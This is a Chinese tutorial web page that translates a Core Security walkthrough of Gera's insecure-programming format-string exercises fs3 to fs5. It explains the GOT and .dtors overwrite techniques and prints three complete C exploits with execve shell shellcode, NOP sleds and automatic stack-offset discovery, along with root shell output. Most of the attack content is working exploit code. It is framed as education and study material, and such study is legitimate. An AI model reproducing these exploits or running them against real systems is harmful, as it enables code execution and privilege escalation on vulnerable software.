庞大资源库的计算机教程网站!
设为首页
加入收藏
总编信箱
投稿或申请专栏请先 [登 陆]
首页 操作系统 程序设计 图形图像 媒体动画 机械电子 WEB开发 数 据 库 办公系列 路由技术 网络原理 网络应用
认证考试 安全技术
首页>安全技术>软件破解>脱壳技术>正文
资料搜索
Google搜索
Google
返回上级列表

推荐文章

快速保存网页中所有图片的方法
Windows中让光驱巧妙“隐身”技
防范非法用户入侵Win 2000/XP系
两款比较典型的ASP木马防范方法
有关表格边框的css语法整理
Windows XP中可以被禁用的服务
SQL Server导出导入数据方法
Javascript所有对象的属性的获
网页(HTML)中的特殊字符
与篮球共舞,尽显模式本色
QQ病毒的手工清除方法
Photoshop为极品美女打造性感睫
天衣无缝:IIS与PHP水火也相容
SQL Server存储过程编写和优化

非安全编程演示之格式化字符串篇version1.1 下

 作者:本站收集   日期:2005-5-27
字号选择〖 〗/ 双击滚屏 单击停止   
sh-2.05# exit
exit
user@CoreLabs:~/gera$

下面是例子溢出时heap memory的情况:

/ | | | | | |
GOT | | | | | |
\ |______________________| |_________________________| |_______________________|
/ | 0x00000000 | | 0xb f f f 0000 | | 0xb f f f f f c d |
.dtors |-----------------| |--------------------| |--------------|
\ | 0xf f f f f f f f | | 0xf f f f f f f f | | 0xf f f f f f f f |
|------------------| |---------------------| |--------------|
/ | 0x00000000 | | 0x00000000 | | 0x00000000 |
.ctors |----------------| |-----------------| |--------------|
\ | 0xf f f f f f f f | | 0xf f f f f f f f | | 0xf f f f f f f f |
|------------------| |-------------------| |-----------------------|
| | | | | |

Before first snprintf() After first snprintf() After second snprintf()

fs3.c分析


例子的源代码如下:


/* fs3.c *
* specially crafted to feed your brain by riq@core-sdi.com */


/* Not enough resources? */


int main(int argv,char **argc) {
char buf[256];


snprintf(buf,sizeof buf,"%s%c%c%hn",argc[1]);
}


看起来与fs2.c非常相像。不同之处在于,攻击者只能在内存中写入两个字节,不足
一个确切内存地址(在32位 IA上需要4字节)。如果攻击者够聪明的话,他将在适当的地址覆盖两字节(比如,shellcode的地址在0xb f f f f f b a,某个返回地址是 0x b f f f a b c d,那么他将仅仅用ffba去覆盖abcd)。这是攻击者要覆盖的。这里有一些可能性。首先fs3的返回地址(在栈上--0xb f f f x x x x确定)将因为不同的环境变量压栈而变的难于猜测。其次snprintf()的返回地址(同样在栈上--0xb f f f x x x x确定)也很难猜测。

heap上的地址可以确定(可以从bin文件得到)。第三种方法就是覆盖.dtors的地址。
然后这并不会起很大的作用。看看fs2.c的那个图就知道。0x00000000的地址经过覆盖后,变成了0x0000f f b a或0xb f f f0000之一---在这里完全没有用。那么现在剩下的唯一可能的方法就是覆盖GOT中的__deregister_frame_info()的地址:


user@CoreLabs:~/gera$ objdump -R ./fs3
./fs3: file format elf32-i386


DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
080495cc R_386_GLOB_DAT __gmon_start__
080495bc R_386_JUMP_SLOT __register_frame_info
080495c0 R_386_JUMP_SLOT __deregister_frame_info
080495c4 R_386_JUMP_SLOT __libc_start_main
080495c8 R_386_JUMP_SLOT snprintf
user@CoreLabs:~/gera$


这种覆盖__deregister_frame_info()地址的技术是Core Security Team首次发现和公布的。一般来说,这是一个在所有GCC的动态连接可执行程序中存在的函数。它在一个函数结束时--通过调用exit(),return()之类的函数--被调用。覆盖它的地址与覆盖GOT内任何函数地址的效果是一样的。然而,在这里例子中在GOT里没有合适的函数

溢出这个例子的唯一途径就是用0xb f f f覆盖__deregister_frame_info()的两个最高有效字,同时把shellcode保存在stack里面(shellcode前面放一堆NOP)。从上面objdump的输出来看,__deregister_frame_info()的地址为0x080495c0。覆盖后,将变为0xb f f f 95c0。shellcode的地址就在这附近----通过NOP在增大落在shellcode范围的几率。


为了覆盖成功,argc[1]必须为49151 - 2 = 49149 字节长,包括了shellcode和
__deregister_frame_info()的地址。argc[1]会被放入内存(栈)中,比如从0xb f f f f a d7到0xb f f f 3a d 7。这里唯一可能存在的问题就是如果__deregister_frame_info()的两个最低有效字大于0xf a d 7或小于0x3 a d 7(这样就不会落在NOP里)。根据统计学来看,这种情况的概率是25%,但是实际情况中(由于考虑到linux的内存分配)将小于1%(译者注:就是说成功率会比较高)。


| |
|-------------------------| <-----0xb f f f f a d 7
| shellcode |
|-------------------------|
| NOP |
| NOP |
| NOP | > 0xb f f f 95c0
| NOP |
| NOP |
|-------------------------|
| deregister address |
|-------------------------| <-----0xb f f f 3a d7
| |



演示exploit:

/*
** exp_fs3.c
** Coded by Core Security - info@core-sec.com
*/


#include <string.h>
#include <stdio.h>
#include <unistd.h>


#define OBJDUMP "/usr/bin/objdump"
#define VICTIM "/home/user/gera/fs3"
#define GREP "/bin/grep"


/* 24 bytes shellcode */
char shellcode[]=
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
int main(void) {


char evil_buffer[49149 + 1], temp_buffer[64];
char *p;
int deregister_address;
FILE *f;


sprintf(temp_buffer, "%s -R %s | %s deregister", OBJDUMP, VICTIM,
GREP);
f = popen(temp_buffer, "r");
if( fscanf(f, "%x", &deregister_address) != 1) {
pclose(f);
printf("Error: Cannot find deregister address in GOT!\n");
exit(1);
}


printf("deregister address is: 0x%x\n", deregister_address);

/* Evil buffer */

p = evil_buffer;


*((void **)p) = (void *) (deregister_address + 2);
p += 4;


/* Adding the NOPs */
memset(p, '\x90', (sizeof(evil_buffer) - strlen(shellcode) - 4 -
1));
p += (sizeof(evil_buffer) - strlen(shellcode) - 4 - 1);


/* Adding shellcode */
memcpy(p, shellcode, strlen(shellcode));
p += strlen(shellcode);
*p = '\0';


execl("/user/home/gera/fs3", "fs3", evil_buffer, NULL);
}

fs4.c分析


这个例子的源代码如下:


/* fs4.c *
* specially crafted to feed your brain by gera@core-sdi.com */


/* Have you ever heard about code reusability? */


int main(int argv,char **argc) {
char buf[256];


snprintf(buf,sizeof buf,"%s%6$hn",argc[1]);
printf(buf);
}


溢出的方法与fs3.c大致相同。这里微小的变化就是这里多了一个格式化参数--“6$”。
这意味着%hn将覆盖第六个参数所指向的地址。为了成功溢出,argc[1]的前8个字节要填充
垃圾(原因留给读者思考)。另一个变动就是exploit里用的不是__deregister_frame_info()的
地址而是printf()的地址(这里没有什么影响):


/*
** exp_fs4.c
** Coded by Core Security - info@core-sec.com
*/


#include <string.h>
#include <stdio.h>
#include <unistd.h>


#define OBJDUMP "/usr/bin/objdump"
#define VICTIM "/home/user/gera/fs4"
#define GREP "/bin/grep"


/* 24 bytes shellcode */
char shellcode[]=
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";


int main(void) {


char evil_buffer[49151 + 1], temp_buffer[64];
char *p;
int printf_address;
FILE *f;


sprintf(temp_buffer, "%s -R %s | %s printf", OBJDUMP, VICTIM,
GREP);
f = popen(temp_buffer, "r");
if( fscanf(f, "%x", &printf_address) != 1) {
pclose(f);
printf("Error: Cannot find printf() address in GOT!\n");
exit(1);
}


printf("printf() address in GOT is: 0x%x\n", printf_address);


/* Evil buffer */


p = evil_buffer;


/* Some junk here */
memset(p, 'B', 8);
p += 8;


*((void **)p) = (void *) (printf_address + 2);
p += 4;


/* Adding NOPs. 12 = 8(for junk) + 4(for address) */
memset(p, '\x90', (sizeof(evil_buffer) - strlen(shellcode) - 12 -
1));
p += (sizeof(evil_buffer) - strlen(shellcode) - 12 - 1);


/* Adding shellcode */
memcpy(p, shellcode, strlen(shellcode));
p += strlen(shellcode);
*p = '\0';


execl("/home/user/gera/fs4", "fs4", evil_buffer, NULL);
}

fs5.c分析


本例源代码如下:


/* fs5.c *
* specially crafted to feed your brain by gera@core-sdi.com */


/* go, go, go! */
int main(int argv,char **argc) {
char buf[256];
snprintf(buf,sizeof buf,argc[1]);


/* this line'll make your life easier */
printf("%s\n",buf);
}


最后,让我们来看一个经典的format string漏洞。不需要太多的解释,这个溢出非常
的典型,如果你有任何问题请阅读scut的精彩论述(译者注:最新版本为《format string -1.2》
)。这里将自动精确定位--仅仅出于教育目的。这是最后一行(printf("%s\n",buf);)注释的原因。
(译者注:为了方便自动精确定位??请参看alert7的关于自动精确定位的文章)


user@CoreLabs:~/gera$ ./exp_fs5


Reading stack frames...
frame 01 --> 40016478
frame 02 --> 00000001
frame 03 --> bffff8f8
frame 04 --> 41414141


Exact match found. Stack pop is: 4


_deregister address in GOT is: 0x080495ac
shellcode address in stack is: 0xbfffffcd


??000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000
sh-2.05# exit
exit
user@CoreLabs:~/gera$


演示exploit如下:


/*
** exp_fs5.c
** Coded by Core Security - info@core-sec.com
*/


#include <string.h>
#include <stdio.h>
#include <unistd.h>


#define OBJDUMP "/usr/bin/objdump"
#define VICTIM "/home/user/gera/fs5"
#define GREP "/bin/grep"


/* 24 bytes shellcode */
char shellcode[]=
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";


int main() {
char evil_buffer[256], temp_buffer[256];
char *env[3] = {shellcode, NULL};
char *p;
int deregister_address, first_half, second_half, i;
FILE *f;
int ret = 0xbffffffa - strlen(shellcode) -
strlen("/home/user/gera/fs5");


bzero(evil_buffer, sizeof(evil_buffer));
sprintf(evil_buffer, "%s AAAA", VICTIM);


/* Finding stack pop */
printf("\nReading stack frames...\n");
for(i = 0; i < 30; i ++) {
strcat(evil_buffer, "%08x");


f = popen(evil_buffer, "r");
fscanf(f, "%s", temp_buffer);


p = temp_buffer + (4 + i*8);
printf("frame %.2d --> %s\n", (i + 1), p);


if(!strcmp(p, "41414141")) {
printf("\nExact match found. Stack pop is:
%d\n\n", i + 1);
pclose(f);
break;
}

pclose(f);
bzero(temp_buffer, sizeof(temp_buffer));
}


if(i == 30) {
printf("Can't find our format string in stack.\n");
printf("Some padding may be needed. Aborting...\n");
exit(1);
}


sprintf(temp_buffer, "%s -R %s | %s deregister", OBJDUMP, VICTIM,
GREP);
f = popen(temp_buffer, "r");
if( fscanf(f, "%08x", &deregister_address) != 1) {
pclose(f);

printf("Error: Cannot find deregister address in GOT!\n");
exit(1);
}
pclose(f);


printf("_deregister address in GOT is: 0x%08x\n",
deregister_address);
printf("shellcode address in stack is: 0x%08x\n\n", ret);


first_half = (ret & 0xffff0000) >> 16;
second_half= (ret & 0x0000ffff);


/* Evil buffer construction */
p = evil_buffer;
bzero(p, sizeof(evil_buffer));


/* first_half*/
*((void **)p) = (void *) (deregister_address + 2);
p += 4;


/* second_half */
*((void **)p) = (void *) (deregister_address);
p += 4;


sprintf(p, "%%.%ud%%%d$hn""%%.%ud%%%d$hn", first_half - 8, i + 1,
second_half - first_half, i + 2);
execle("/home/user/gera/fs5", "fs5", evil_buffer, NULL, env);
}

结论


Format strings 漏洞比较容易发现(相对而言缓冲区溢出有时候比较难发现,即便很仔细的检查了源代码)。自动检测工具检测代码中存在的漏洞通常是有用的。那么,为什么format strings漏洞被认为具有很大的威胁呢?原因在于它被引起重视的时间比较晚---直到2000。由于程序员一时偷懒,在很多旧的守护进程和应用程序中存在大量的format string bug。格式化字符串漏洞在将来不可避免的将带来很多安全问题。
参考
1. Gera, “Insecure Programming by Example”
http://community.core-sdi.com/~gera/InsecureProgramming/


2. scut, “Exploiting Format String Vulnerabilities”
http://www.team-teso.net/releases/formatstring-1.2.tar.gz


3. Aleph One, “Smashing The Stack For Fun and Profit”
http://www.phrack.com/phrack/49/P49-14


4. Linux Programmer's Manual, snprintf() function
http://www.die.net/doc/linux/man/man3/snprintf.3.html


5. Core Security Team, “Vulnerabilities
in your code – Advanced Buffer Overflows”
http://www.core-sec.com/examples/core_vulnerabilities.pdf

上一篇:一点脱壳经验    下一篇:非安全编程演示之格式化字符串篇version1.1 上  
[发送给好友]  [关闭窗口]  [返回顶部]   转载请注明来源:www.it00.com   
特别声明: 本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员,我们尽快予以更正。
责任编辑: 原点 投稿作者: 本站收集
信息来源: 网络 录入时间: 2005-5-27
关于我们 - 广告服务 - 版权申明 - 网站地图 - 联系方式 - 总编信箱 - 会员投稿